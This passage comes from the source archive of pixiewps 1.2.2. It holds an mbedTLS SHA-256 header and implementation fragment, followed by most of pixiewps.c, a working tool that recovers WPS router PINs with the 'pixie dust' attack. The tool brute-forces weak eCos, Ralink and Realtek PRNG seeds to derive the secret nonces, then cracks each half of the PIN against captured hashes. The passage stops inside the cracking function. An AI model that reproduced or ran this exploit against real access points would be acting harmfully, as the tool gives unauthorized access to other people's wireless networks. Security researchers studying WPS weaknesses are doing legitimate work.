*/ void mbedtls_sha256( const unsigned char *input, size_t ilen, unsigned char output[32], int is224 ) { mbedtls_sha256_context ctx; mbedtls_sha256_init( &ctx ); mbedtls_sha256_starts( &ctx, is224 ); mbedtls_sha256_update( &ctx, input, ilen ); mbedtls_sha256_finish( &ctx, output ); mbedtls_sha256_free( &ctx ); } pixiewps-1.2.2/src/crypto/sha256.h000066400000000000000000000060571276270077300166770ustar00rootroot00000000000000/** * \file mbedtls_sha256.h * * \brief SHA-224 and SHA-256 cryptographic hash function * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ #ifndef MBEDTLS_SHA256_H #define MBEDTLS_SHA256_H #include #include /** * \brief SHA-256 context structure */ typedef struct { uint32_t total[2]; /*!< number of bytes processed */ uint32_t state[8]; /*!< intermediate digest state */ unsigned char buffer[64]; /*!< data block being processed */ int is224; /*!< 0 => SHA-256, else SHA-224 */ } mbedtls_sha256_context; /** * \brief Initialize SHA-256 context * * \param ctx SHA-256 context to be initialized */ void mbedtls_sha256_init( mbedtls_sha256_context *ctx ); /** * \brief Clear SHA-256 context * * \param ctx SHA-256 context to be cleared */ void mbedtls_sha256_free( mbedtls_sha256_context *ctx ); /** * \brief Clone (the state of) a SHA-256 context * * \param dst The destination context * \param src The context to be cloned */ void mbedtls_sha256_clone( mbedtls_sha256_context *dst, const mbedtls_sha256_context *src ); /** * \brief SHA-256 context setup * * \param ctx context to be initialized * \param is224 0 = use SHA256, 1 = use SHA224 */ void mbedtls_sha256_starts( mbedtls_sha256_context *ctx, int is224 ); /** * \brief SHA-256 process buffer * * \param ctx SHA-256 context * \param input buffer holding the data * \param ilen length of the input data */ void mbedtls_sha256_update( mbedtls_sha256_context *ctx, const unsigned char *input, size_t ilen ); /** * \brief SHA-256 final digest * * \param ctx SHA-256 context * \param output SHA-224/256 checksum result */ void mbedtls_sha256_finish( mbedtls_sha256_context *ctx, unsigned char output[32] ); /* Internal use */ void mbedtls_sha256_process( mbedtls_sha256_context *ctx, const unsigned char data[64] ); /** * \brief Output = SHA-256( input buffer ) * * \param input buffer holding the data * \param ilen length of the input data * \param output SHA-224/256 checksum result * \param is224 0 = use SHA256, 1 = use SHA224 */ void mbedtls_sha256( const unsigned char *input, size_t ilen, unsigned char output[32], int is224 ); #endif /* MBEDTLS_SHA256_H */ pixiewps-1.2.2/src/pixiewps.c000066400000000000000000000720051276270077300162060ustar00rootroot00000000000000/* * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * * Copyright (c) 2015-2016, wiire * SPDX-License-Identifier: GPL-3.0+ * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include "pixiewps.h" #include "wps.h" #include "random_r.h" #include "config.h" #include "utils.h" #include "version.h" uint32_t ecos_rand_simplest(uint32_t *seed); uint32_t ecos_rand_simple(uint32_t *seed); uint32_t ecos_rand_knuth(uint32_t *seed); uint_fast8_t crack(struct global *g, unsigned int *pin); static const char *option_string = "e:r:s:z:a:n:m:b:Sfv:Vh?"; static const struct option long_options[] = { { "pke", required_argument, 0, 'e' }, { "pkr", required_argument, 0, 'r' }, { "e-hash1", required_argument, 0, 's' }, { "e-hash2", required_argument, 0, 'z' }, { "authkey", required_argument, 0, 'a' }, { "e-nonce", required_argument, 0, 'n' }, { "r-nonce", required_argument, 0, 'm' }, { "e-bssid", required_argument, 0, 'b' }, { "dh-small", no_argument, 0, 'S' }, { "force", no_argument, 0, 'f' }, { "verbosity", required_argument, 0, 'v' }, { "version", no_argument, 0, 'V' }, { "help", no_argument, 0, 0 }, { "mode", required_argument, 0, 1 }, { "start", required_argument, 0, 2 }, { "end", required_argument, 0, 3 }, { 0, no_argument, 0, 'h' }, { 0, 0, 0, 0 } }; int main(int argc, char **argv) { struct global *wps; if ((wps = calloc(1, sizeof(struct global)))) { wps->mode_auto = 1; wps->verbosity = 3; wps->error = calloc(256, 1); if (!wps->error) goto memory_err; wps->error[0] = '\n'; } else { memory_err: fprintf(stderr, "\n [X] Memory allocation error!\n"); return MEM_ERROR; } time_t start_p = (time_t) -1, end_p = (time_t) -1; struct timeval t_start, t_end; int opt = 0; int long_index = 0; uint_fast8_t c = 0; opt = getopt_long(argc, argv, option_string, long_options, &long_index); while (opt != -1) { c++; switch (opt) { case 'e': wps->pke = malloc(WPS_PKEY_LEN); if (!wps->pke) goto memory_err; if (hex_string_to_byte_array(optarg, wps->pke, WPS_PKEY_LEN)) { snprintf(wps->error, 256, "\n [!] Bad enrollee public key -- %s\n\n", optarg); goto usage_err; } break; case 'r': wps->pkr = malloc(WPS_PKEY_LEN); if (!wps->pkr) goto memory_err; if (hex_string_to_byte_array(optarg, wps->pkr, WPS_PKEY_LEN)) { snprintf(wps->error, 256, "\n [!] Bad registrar public key -- %s\n\n", optarg); goto usage_err; } break; case 's': wps->e_hash1 = malloc(WPS_HASH_LEN); if (!wps->e_hash1) goto memory_err; if (hex_string_to_byte_array(optarg, wps->e_hash1, WPS_HASH_LEN)) { snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg); goto usage_err; } break; case 'z': wps->e_hash2 = malloc(WPS_HASH_LEN); if (!wps->e_hash2) goto memory_err; if (hex_string_to_byte_array(optarg, wps->e_hash2, WPS_HASH_LEN)) { snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg); goto usage_err; } break; case 'a': wps->authkey = malloc(WPS_AUTHKEY_LEN); if (!wps->authkey) goto memory_err; if (hex_string_to_byte_array(optarg, wps->authkey, WPS_HASH_LEN)) { snprintf(wps->error, 256, "\n [!] Bad authentication session key -- %s\n\n", optarg); goto usage_err; } break; case 'n': wps->e_nonce = malloc(WPS_NONCE_LEN); if (!wps->e_nonce) goto memory_err; if (hex_string_to_byte_array(optarg, wps->e_nonce, WPS_NONCE_LEN)) { snprintf(wps->error, 256, "\n [!] Bad enrollee nonce -- %s\n\n", optarg); goto usage_err; } break; case 'm': wps->r_nonce = malloc(WPS_NONCE_LEN); if (!wps->r_nonce) goto memory_err; if (hex_string_to_byte_array(optarg, wps->r_nonce, WPS_NONCE_LEN)) { snprintf(wps->error, 256, "\n [!] Bad registrar nonce -- %s\n\n", optarg); goto usage_err; } break; case 'b': wps->e_bssid = malloc(WPS_BSSID_LEN); if (!wps->e_bssid) goto memory_err; if (hex_string_to_byte_array(optarg, wps->e_bssid, WPS_BSSID_LEN)) { snprintf(wps->error, 256, "\n [!] Bad enrollee MAC address -- %s\n\n", optarg); goto usage_err; } break; case 'S': wps->small_dh_keys = 1; break; case 'f': wps->bruteforce = 1; break; case 'v': if (get_int(optarg, &wps->verbosity) != 0 || wps->verbosity < 1 || wps->verbosity > 3) { snprintf(wps->error, 256, "\n [!] Bad verbosity level -- %s\n\n", optarg); goto usage_err; }; break; case 'V': { if (c > 1) { /* If --version is used then no other argument should be supplied */ snprintf(wps->error, 256, "\n [!] Bad use of argument --version (-V)!\n\n"); goto usage_err; } else { struct timeval t_current; gettimeofday(&t_current, 0); time_t r_time; struct tm ts; char buffer[30]; r_time = t_current.tv_sec; ts = *gmtime(&r_time); strftime(buffer, 30, "%c", &ts); fprintf(stderr, "\n Pixiewps %s\n\n [*] System time: %lu (%s UTC)\n\n", LONG_VERSION, (unsigned long) t_current.tv_sec, buffer); free(wps->error); free(wps); return ARG_ERROR; } } case 'h': goto usage_err; break; case 0 : if (strcmp("help", long_options[long_index].name) == 0) { fprintf(stderr, v_usage, SHORT_VERSION, p_mode_name[RT], p_mode_name[ECOS_SIMPLE], p_mode_name[RTL819x], p_mode_name[ECOS_SIMPLEST], p_mode_name[ECOS_KNUTH] ); free(wps->error); free(wps); return ARG_ERROR; } goto usage_err; case 1 : if (strcmp("mode", long_options[long_index].name) == 0) { if (parse_mode(optarg, p_mode, MODE_LEN)) { snprintf(wps->error, 256, "\n [!] Bad modes -- %s\n\n", optarg); goto usage_err; } wps->mode_auto = 0; break; } goto usage_err; case 2 : if (strcmp("start", long_options[long_index].name) == 0) { if (get_unix_datetime(optarg, &(start_p))) { snprintf(wps->error, 256, "\n [!] Bad starting point -- %s\n\n", optarg); goto usage_err; } break; } goto usage_err; case 3 : if (strcmp("end", long_options[long_index].name) == 0) { if (get_unix_datetime(optarg, &(end_p))) { snprintf(wps->error, 256, "\n [!] Bad ending point -- %s\n\n", optarg); goto usage_err; } break; } goto usage_err; case '?': default: fprintf(stderr, "Run %s -h for help.\n", argv[0]); free(wps->error); free(wps); return ARG_ERROR; } opt = getopt_long(argc, argv, option_string, long_options, &long_index); } if (argc - optind != 0) { snprintf(wps->error, 256, "\n [!] Unknown extra argument(s)!\n\n"); goto usage_err; } else { if (!c) { usage_err: fprintf(stderr, usage, SHORT_VERSION, argv[0], wps->error); free(wps->pke); free(wps->pkr); free(wps->e_hash1); free(wps->e_hash2); free(wps->authkey); free(wps->e_nonce); free(wps->r_nonce); free(wps->e_bssid); free(wps->error); free(wps); return ARG_ERROR; } } /* Not all required arguments have been supplied */ if (wps->pke == 0 || wps->e_hash1 == 0 || wps->e_hash2 == 0) { snprintf(wps->error, 256, "\n [!] Not all required arguments have been supplied!\n\n"); goto usage_err; } /* If --dh-small is selected then no --pkr should be supplied */ if (wps->pkr && wps->small_dh_keys) { snprintf(wps->error, 256, "\n [!] Options --dh-small and --pkr are mutually exclusive!\n\n"); goto usage_err; } /* Either --pkr or --dh-small must be specified */ if (!wps->pkr && !wps->small_dh_keys) { snprintf(wps->error, 256, "\n [!] Either --pkr or --dh-small must be specified!\n\n"); goto usage_err; } /* Cannot specify --start or --end if --force is selected */ if (wps->bruteforce && ((start_p != (time_t) -1) || (end_p != (time_t) -1))) { snprintf(wps->error, 256, "\n [!] Cannot specify --start or --end if --force is selected!\n\n"); goto usage_err; } if (wps->mode_auto) { /* Mode auto */ if (wps->pke && !memcmp(wps->pke, wps_rtl_pke, WPS_PKEY_LEN)) { p_mode[0] = RTL819x; p_mode[1] = NONE; if (!wps->e_nonce) { snprintf(wps->error, 256, "\n [!] Enrollee nonce is needed for mode %u!\n\n", RTL819x); goto usage_err; } } else { p_mode[0] = RT; p_mode[1] = ECOS_SIMPLE; /* Not tested */ #ifdef EXTRA p_mode[2] = ECOS_SIMPLEST; p_mode[3] = ECOS_KNUTH; p_mode[4] = NONE; #else p_mode[2] = NONE; #endif } } DEBUG_PRINT("Debugging enabled"); DEBUG_PRINT("Modes: %d (%s), %d (%s), %d (%s), %d (%s), %d (%s)", p_mode[0], p_mode_name[p_mode[0]], p_mode[1], p_mode_name[p_mode[1]], p_mode[2], p_mode_name[p_mode[2]], p_mode[3], p_mode_name[p_mode[3]], p_mode[4], p_mode_name[p_mode[4]] ); gettimeofday(&t_start, 0); if (is_mode_selected(RTL819x)) { /* Ignore --start and --end otherwise */ wps->start = t_start.tv_sec; wps->end = t_start.tv_sec - MODE3_DAYS * SEC_PER_DAY; /* Attributes --start and --end can be switched start > end or end > start */ if (start_p != (time_t) -1) { if (end_p != (time_t) -1) { /* Attributes --start and --end must be different */ if (start_p == end_p) { snprintf(wps->error, 256, "\n [!] Starting and Ending points must be different!\n\n"); goto usage_err; } if (end_p > start_p) { wps->start = end_p; wps->end = start_p; } else { wps->start = start_p; wps->end = end_p; } } else { if (start_p >= wps->start) { snprintf(wps->error, 256, "\n [!] Bad Starting point!\n\n"); goto usage_err; } else { wps->end = start_p; } } } else { if (end_p != (time_t) -1) { if (end_p >= wps->start) { snprintf(wps->error, 256, "\n [!] Bad Ending point!\n\n"); goto usage_err; } else { wps->end = end_p; } } else { if (wps->bruteforce) wps->end = 0; } } } if (wps->small_dh_keys) { /* Small DH keys selected */ wps->pkr = malloc(WPS_PKEY_LEN); if (!wps->pkr) goto memory_err; /* g^A mod p = 2 (g = 2, A = 1, p > 2) */ memset(wps->pkr, 0, WPS_PKEY_LEN - 1); wps->pkr[WPS_PKEY_LEN - 1] = 0x02; if (!wps->authkey) { if (wps->e_nonce) { if (wps->r_nonce) { if (wps->e_bssid) { /* Computing AuthKey */ wps->dhkey = malloc(WPS_HASH_LEN); if (!wps->dhkey) goto memory_err; wps->kdk = malloc(WPS_HASH_LEN); if (!wps->kdk) goto memory_err; uint8_t *buffer = malloc(WPS_NONCE_LEN * 2 + WPS_BSSID_LEN); if (!buffer) goto memory_err; /* DHKey = SHA-256(g^(AB) mod p) = SHA-256(PKe^A mod p) = SHA-256(PKe) (g = 2, A = 1, p > 2) */ sha256(wps->pke, WPS_PKEY_LEN, wps->dhkey); memcpy(buffer, wps->e_nonce, WPS_NONCE_LEN); memcpy(buffer + WPS_NONCE_LEN, wps->e_bssid, WPS_BSSID_LEN); memcpy(buffer + WPS_NONCE_LEN + WPS_BSSID_LEN, wps->r_nonce, WPS_NONCE_LEN); /* KDK = HMAC-SHA-256{DHKey}(Enrollee nonce || Enrollee MAC || Registrar nonce) */ hmac_sha256(wps->dhkey, WPS_HASH_LEN, buffer, WPS_NONCE_LEN * 2 + WPS_BSSID_LEN, wps->kdk); buffer = realloc(buffer, WPS_HASH_LEN * 3); if (!buffer) goto memory_err; /* Key derivation function */ kdf(wps->kdk, buffer); wps->authkey = malloc(WPS_AUTHKEY_LEN); if (!wps->authkey) goto memory_err; memcpy(wps->authkey, buffer, WPS_AUTHKEY_LEN); if (wps->verbosity > 2) { wps->wrapkey = malloc(WPS_KEYWRAPKEY_LEN); if (!wps->wrapkey) goto memory_err; wps->emsk = malloc(WPS_EMSK_LEN); if (!wps->emsk) goto memory_err; memcpy(wps->wrapkey, buffer + WPS_AUTHKEY_LEN, WPS_KEYWRAPKEY_LEN); memcpy(wps->emsk, buffer + WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN, WPS_EMSK_LEN); } if (wps->verbosity < 3) { free(wps->dhkey); free(wps->kdk); } free(buffer); } else { snprintf(wps->error, 256, "\n [!] Neither --authkey and --e-bssid have been supplied!\n\n"); goto usage_err; } } else { snprintf(wps->error, 256, "\n [!] Neither --authkey and --r-nonce have been supplied!\n\n"); goto usage_err; } } else { snprintf(wps->error, 256, "\n [!] Neither --authkey and --e-nonce have been supplied!\n\n"); goto usage_err; } } } /* E-S1 = E-S2 = 0 */ wps->e_s1 = calloc(WPS_SECRET_NONCE_LEN, 1); if (!wps->e_s1) goto memory_err; wps->e_s2 = calloc(WPS_SECRET_NONCE_LEN, 1); if (!wps->e_s2) goto memory_err; /* Allocating memory for digests */ wps->psk1 = malloc(WPS_HASH_LEN); if (!wps->psk1) goto memory_err; wps->psk2 = malloc(WPS_HASH_LEN); if (!wps->psk2) goto memory_err; uint_fast8_t k = 0; uint_fast8_t found_p_mode = NONE; unsigned int pin; uint32_t seed; uint32_t print_seed = 0; /* Main loop */ while (!found_p_mode && p_mode[k] != NONE && k < MODE_LEN) { /* 1 */ if (p_mode[k] == RT) { DEBUG_PRINT(" * Mode: %d (%s)", RT, p_mode_name[RT]); DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); uint_fast8_t r = crack(wps, &pin); if (r == PIN_FOUND) { found_p_mode = RT; DEBUG_PRINT("Pin found"); } else if (r == MEM_ERROR) { goto memory_err; } /* 2 */ } else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) { DEBUG_PRINT(" * Mode: %d (%s)", ECOS_SIMPLE, p_mode_name[ECOS_SIMPLE]); uint32_t index = wps->e_nonce[0] << 25; /* Reducing entropy from 32 to 25 bits */ do { seed = index; uint_fast8_t i; for (i = 1; i < WPS_NONCE_LEN; i++) { if (wps->e_nonce[i] != (uint8_t) (ecos_rand_simple(&seed) & 0xff)) break; } if (i == WPS_NONCE_LEN) { /* Seed found */ print_seed = seed; for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ wps->e_s1[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff); for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */ wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff); DEBUG_PRINT("Seed found"); break; } index++; } while (!(index & 0x02000000)); if (print_seed) { /* Seed found */ DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); uint_fast8_t r = crack(wps, &pin); if (r == PIN_FOUND) { found_p_mode = ECOS_SIMPLE; DEBUG_PRINT("Pin found"); } else if (r == MEM_ERROR) { goto memory_err; } } /* 3 */ } else if (p_mode[k] == RTL819x && wps->e_nonce) { DEBUG_PRINT(" * Mode: %d (%s)", RTL819x, p_mode_name[RTL819x]); /* E-S1 = E-S2 = E-Nonce - Best case scenario */ memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN); DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); uint_fast8_t r = crack(wps, &pin); if (r == PIN_FOUND) { found_p_mode = RTL819x; DEBUG_PRINT("Pin found"); } else if (r == MEM_ERROR) { goto memory_err; } if (found_p_mode == NONE) { if (wps->small_dh_keys || check_small_dh_keys(wps->pkr)) { if (!wps->warning) { wps->warning = calloc(256, 1); if (!wps->warning) goto memory_err; snprintf(wps->warning, 256, " [!] Small DH keys is not supported for mode %u!\n\n", RTL819x); } } else { /* Checks if the sequence may actually be generated by current random function */ if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) && !(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) { /* Converting enrollee nonce to the sequence may be generated by current random function */ uint32_t randr_enonce[4] = { 0 }; uint_fast8_t j = 0; for (uint_fast8_t i = 0; i < 4; i++) { randr_enonce[i] |= wps->e_nonce[j++]; randr_enonce[i] <<= 8; randr_enonce[i] |= wps->e_nonce[j++]; randr_enonce[i] <<= 8; randr_enonce[i] |= wps->e_nonce[j++]; randr_enonce[i] <<= 8; randr_enonce[i] |= wps->e_nonce[j++]; } #if DEBUG { struct tm ts; char buffer[30]; ts = *gmtime(&wps->start); strftime(buffer, 30, "%c", &ts); printf("\n [DEBUG] %s:%d:%s(): Start: %10lu (%s UTC)", __FILE__, __LINE__, __func__, (unsigned long) wps->start, buffer); ts = *gmtime(&wps->end); strftime(buffer, 30, "%c", &ts); printf("\n [DEBUG] %s:%d:%s(): End: %10lu (%s UTC)", __FILE__, __LINE__, __func__, (unsigned long) wps->end, buffer); fflush(stdout); } #endif struct random_data *buf = calloc(1, sizeof(struct random_data)); char *rand_statebuf = calloc(1, 128); seed = wps->start; uint32_t limit = wps->end; initstate_r(seed, rand_statebuf, 128, buf); int32_t res = 0; while (1) { srandom_r(seed, buf); uint_fast8_t i; for (i = 0; i < 4; i++) { random_r(buf, &res); if ((uint32_t) res != randr_enonce[i]) break; } if (i == 4) { print_seed = seed; DEBUG_PRINT("Seed found"); } if (print_seed || seed == limit) { break; } seed--; } if (print_seed) { /* Seed found */ uint_fast8_t i = 0; uint8_t tmp_s_nonce[16]; do { i++; srandom_r(print_seed + i, buf); for (uint_fast8_t j = 0; j < 4; j++) { random_r(buf, &res); uint32_t be = h32_to_be(res); memcpy(&(wps->e_s1[4 * j]), &be, 4); memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = E-S2 != E-Nonce */ } DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); uint_fast8_t r = crack(wps, &pin); if (r == PIN_FOUND) { found_p_mode = RTL819x; DEBUG_PRINT("Pin found"); } else if (r == PIN_ERROR) { if (i == 1) { memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); /* E-S1 = E-Nonce != E-S2 */ memcpy(tmp_s_nonce, wps->e_s2, WPS_SECRET_NONCE_LEN); /* Chaching for next round, see below */ } else { memcpy(wps->e_s1, tmp_s_nonce, WPS_SECRET_NONCE_LEN); memcpy(tmp_s_nonce, wps->e_s2, WPS_SECRET_NONCE_LEN); /* E-S1 = old E-S1, E-S2 = new E-S2 */ } DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); uint_fast8_t r2 = crack(wps, &pin); if (r2 == PIN_FOUND) { found_p_mode = RTL819x; DEBUG_PRINT("Pin found"); } else if (r2 == MEM_ERROR) { goto memory_err; } } else if (r == MEM_ERROR) { goto memory_err; } } while (found_p_mode == NONE && i <= MODE3_TRIES); } if (found_p_mode == NONE && !wps->bruteforce) { if (!wps->warning) { wps->warning = calloc(256, 1); if (!wps->warning) goto memory_err; snprintf(wps->warning, 256, " [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.\n\n"); } } free(buf); free(rand_statebuf); } } } /* 4 */ } else if (p_mode[k] == ECOS_SIMPLEST && wps->e_nonce) { DEBUG_PRINT(" * Mode: %d (%s)", ECOS_SIMPLEST, p_mode_name[ECOS_SIMPLEST]); uint32_t index = 0; do { seed = index; uint_fast8_t i; for (i = 0; i < WPS_NONCE_LEN; i++) { if (wps->e_nonce[i] != (uint8_t) ecos_rand_simplest(&seed)) break; } if (i == WPS_NONCE_LEN) { /* Seed found */ print_seed = seed; for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ wps->e_s1[i] = (uint8_t) ecos_rand_simplest(&seed); for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */ wps->e_s2[i] = (uint8_t) ecos_rand_simplest(&seed); DEBUG_PRINT("Seed found"); break; } index++; } while (index != 0xffffffff); if (print_seed) { /* Seed found */ DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); uint_fast8_t r = crack(wps, &pin); if (r == PIN_FOUND) { found_p_mode = ECOS_SIMPLEST; DEBUG_PRINT("Pin found"); } else if (r == MEM_ERROR) { goto memory_err; } } /* 5 */ } else if (p_mode[k] == ECOS_KNUTH && wps->e_nonce) { DEBUG_PRINT(" * Mode: %d (%s)", ECOS_KNUTH, p_mode_name[ECOS_KNUTH]); uint32_t index = 0; do { seed = index; uint_fast8_t i; for (i = 0; i < WPS_NONCE_LEN; i++) { if (wps->e_nonce[i] != (uint8_t) ecos_rand_knuth(&seed)) break; } if (i == WPS_NONCE_LEN) { /* Seed found */ print_seed = seed; for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ wps->e_s1[i] = (uint8_t) ecos_rand_knuth(&seed); for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */ wps->e_s2[i] = (uint8_t) ecos_rand_knuth(&seed); DEBUG_PRINT("Seed found"); break; } index++; } while (index != 0xffffffff); if (print_seed) { /* Seed found */ DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); uint_fast8_t r = crack(wps, &pin); if (r == PIN_FOUND) { found_p_mode = ECOS_KNUTH; DEBUG_PRINT("Pin found"); } else if (r == MEM_ERROR) { goto memory_err; } } } k++; } gettimeofday(&t_end, 0); unsigned long ms_elapsed = get_elapsed_ms(&t_start, &t_end); k--; #ifdef DEBUG puts(""); #endif printf("\n Pixiewps %s\n", SHORT_VERSION); if (found_p_mode) { if (wps->e_nonce) { if (wps->verbosity > 2) { if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && print_seed) || found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) { printf("\n [*] PRNG Seed: %u", print_seed); } if (found_p_mode == RTL819x && print_seed) { time_t seed_time; struct tm ts; char buffer[30]; seed_time = print_seed; ts = *gmtime(&seed_time); strftime(buffer, 30, "%c", &ts); printf(" (%s UTC)", buffer); } } } if (wps->verbosity > 1) { printf("\n [*] Mode: %u (%s)", found_p_mode, p_mode_name[found_p_mode]); } if (wps->verbosity > 2) { if (wps->dhkey) { /* To see if AuthKey was supplied or not */ printf("\n [*] DHKey: "); byte_array_print(wps->dhkey, WPS_HASH_LEN); printf("\n [*] KDK: "); byte_array_print(wps->kdk, WPS_HASH_LEN); printf("\n [*] AuthKey: "); byte_array_print(wps->authkey, WPS_AUTHKEY_LEN); printf("\n [*] EMSK: "); byte_array_print(wps->emsk, WPS_EMSK_LEN); printf("\n [*] KeyWrapKey: "); byte_array_print(wps->wrapkey, WPS_KEYWRAPKEY_LEN); } printf("\n [*] PSK1: "); byte_array_print(wps->psk1, WPS_PSK_LEN); printf("\n [*] PSK2: "); byte_array_print(wps->psk2, WPS_PSK_LEN); } if (wps->verbosity > 1) { printf("\n [*] E-S1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN); printf("\n [*] E-S2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN); } printf("\n [+] WPS pin: %08u", pin); } else { printf("\n [-] WPS pin not found!"); } printf("\n\n [*] Time taken: %lu s %lu ms\n\n", ms_elapsed / 1000, ms_elapsed % 1000); if (wps->warning) { printf("%s", wps->warning); free(wps->warning); } free(wps->pke); free(wps->pkr); free(wps->e_hash1); free(wps->e_hash2); free(wps->authkey); free(wps->e_nonce); free(wps->r_nonce); free(wps->e_bssid); free(wps->psk1); free(wps->psk2); free(wps->e_s1); free(wps->e_s2); free(wps->error); if (wps->verbosity > 2) { free(wps->dhkey); free(wps->kdk); free(wps->wrapkey); free(wps->emsk); } free(wps); return found_p_mode != 0 ? PIN_FOUND : PIN_ERROR; } /* Simplest */ uint32_t ecos_rand_simplest(uint32_t *seed) { *seed = (*seed * 1103515245) + 12345; /* Permutate seed */ return *seed; } /* Simple, Linear congruential generator */ uint32_t ecos_rand_simple(uint32_t *seed) { uint32_t s = *seed; uint32_t uret; s = (s * 1103515245) + 12345; /* Permutate seed */ uret = s & 0xffe00000; /* Use top 11 bits */ s = (s * 1103515245) + 12345; /* Permutate seed */ uret += (s & 0xfffc0000) >> 11; /* Use top 14 bits */ s = (s * 1103515245) + 12345; /* Permutate seed */ uret += (s & 0xfe000000) >> (11 + 14); /* Use top 7 bits */ *seed = s; return uret; } /* Mersenne-Knuth */ uint32_t ecos_rand_knuth(uint32_t *seed) { #define MM 2147483647 /* Mersenne prime */ #define AA 48271 /* This does well in the spectral test */ #define QQ 44488 /* MM / AA */ #define RR 3399 /* MM % AA, important that RR < QQ */ *seed = AA * (*seed % QQ) - RR * (*seed / QQ); if (*seed & 0x80000000) *seed += MM; return *seed; } /* PIN cracking attempt */ uint_fast8_t crack(struct global *g, unsigned int *pin) { struct global *wps = g; unsigned int first_half = 0; unsigned int second_half = 0; uint8_t s_pin[4]; uint_fast8_t found = 0; uint8_t *buffer = malloc(WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2); if (!buffer) return MEM_ERROR; uint8_t *result = malloc(WPS_HASH_LEN); if (!result) return MEM_ERROR; while (first_half < 10000) { uint_to_char_array(first_half, 4, s_pin); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, 4, wps->psk1); memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN); memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk1, WPS_PSK_LEN); memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN); memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result); if (memcmp(result, wps->e_hash1, WPS_HASH_LEN)) { first_half++; } else { break; } } if (first_half < 10000) { /* First half found */ uint_fast8_t checksum_digit; unsigned int c_second_half; /* Testing with checksum digit */ while (second_half < 1000) { checksum_digit = wps_pin_checksum(first_half * 1000 + second_half); 